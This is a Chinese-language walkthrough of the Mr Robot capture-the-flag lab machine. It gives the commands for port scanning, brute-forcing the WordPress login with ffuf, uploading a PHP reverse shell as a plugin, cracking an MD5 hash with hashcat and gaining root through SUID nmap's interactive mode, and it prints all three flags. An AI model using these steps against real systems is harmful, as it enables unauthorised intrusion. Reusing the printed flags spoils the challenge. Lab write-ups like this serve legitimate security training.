MrRobot Walkthrough

box info

靶机地址:Mr Robot CTF

This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?

image-20250317180740734

The Hack

sudo nmap -p- -Pn 10.10.173.41

发现开放的 80 和 443 端口

image-20250317174827626

先来看 HTTP 和 HTTPS 服务,80 端口

sudo nmap -p80 -A -Pn 10.10.173.41

未扫描出 apache 版本,暂不考虑从 apache 版本漏洞下手

image-20250317175001101

443 端口

sudo nmap -p443 -A -Pn 10.10.173.41

也未扫描出 apache 版本

image-20250317175433693

对 HTTP 服务进行目录扫描

dirsearch -u http://10.10.173.41/ -w /usr/share/wordlists/dirb/big.txt

发现 robots.txt 同时还发现很多以 wp 开头的目录,猜测是 WordPress 构建的网站

image-20250317181555893

访问 robots.txt 发现第一个 key 同时发现隐藏目录 fsocity.dic

User-agent: *
fsocity.dic
key-1-of-3.txt

访问 /key-1-of-3.txt 就能得到第一个 key

073403c8a58a1f80d943455fb30724b9

访问 fsocity.dic 能看到诸如 username、password 等字样,似乎是一个用户名和密码的字典

image-20250317182225086

image-20250317182249643

将 fsocity.dic 下载至本地

wget http://10.10.173.41/fsocity.dic

image-20250317183249439

使用 ffuf 爆破后台密码:

使用 burp 拦截,发现 username 和 password 以 POST 方式传输,同时 Cookie 不是动态刷新,也存在用户名枚举漏洞

image-20250317190217356

去除 fsocity.dic 中重复字段:

sort fsocity.dic | uniq > fsocity_uniq.dic

将 request 保存为 request.txt ,使用 ffuf 爆破用户名( fsocity_uniq.dic 字典较大,同时爆破用户名和密码要发送的数据过于巨大,大概千亿级 ):

ffuf -request request.txt -w fsocity_uniq.dic:USER -fr "Invalid username."

发现三个用户名:

image-20250317202629081

继续爆破密码,先尝试 Elliot

ffuf -request request.txt -w fsocity.dic:PASS -fr "is incorrect."

运气不错,密码为 ER28-0652

image-20250317201924308

成功进入后台:

image-20250317202800128

将 php-reverse-shell.php 拷贝至工作目录,并更改 IP 和端口

cp /usr/share/webshells/php/php-reverse-shell.php .
vi php-reverse-shell.php

image-20250317203655296

再 plugins 的 add new 处上传

image-20250317203900422

再 Media 处就能看到上传到 php 文件及其所在地址:

image-20250317204004647

image-20250317204154357

使用 nc 侦听 1234 端口,同时访问 PHP 所在网址

nc -nvlp 1234

成功 getshell :

image-20250317204533213

寻找 /home 中用户的主目录,尝试寻找第二个 key

最终在 /home/robot 目录中找到第二个 key ,只能 root 用户读取的 key-2-of-3.txt ,同时寻找到疑似 root 密码哈希

image-20250317205337671

使用 hashcat 的字典模式破解密码:

hashcat -a 0 -m 0 c3fcd3d76192e4007dfb496cca67e13b /usr/share/wordlists/rockyou.txt

密码为:abcdefghijklmnopqrstuvwxyz

image-20250317210031810

直接登陆 robot 账户:

su robot

image-20250317210333682

获得 key 2 :

822c73956184f694993bede3eb39f959

接下来是提权,已知 robot 密码,确认是否有权通过 sudo 运行某些命令:

sudo -l

没有能执行 sudo 的命令

查找具有 SUID 权限的文件

robot@linux:/$ find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

除了 nmap ,其余的 su、sudo 都需要有权通过 sudo 运行

使用 nmap 提权:

robot@linux:/$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
#

切换至 /root 目录并获得第三个 key

# cd /root
# ls -la
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

Final

image-20250317212119153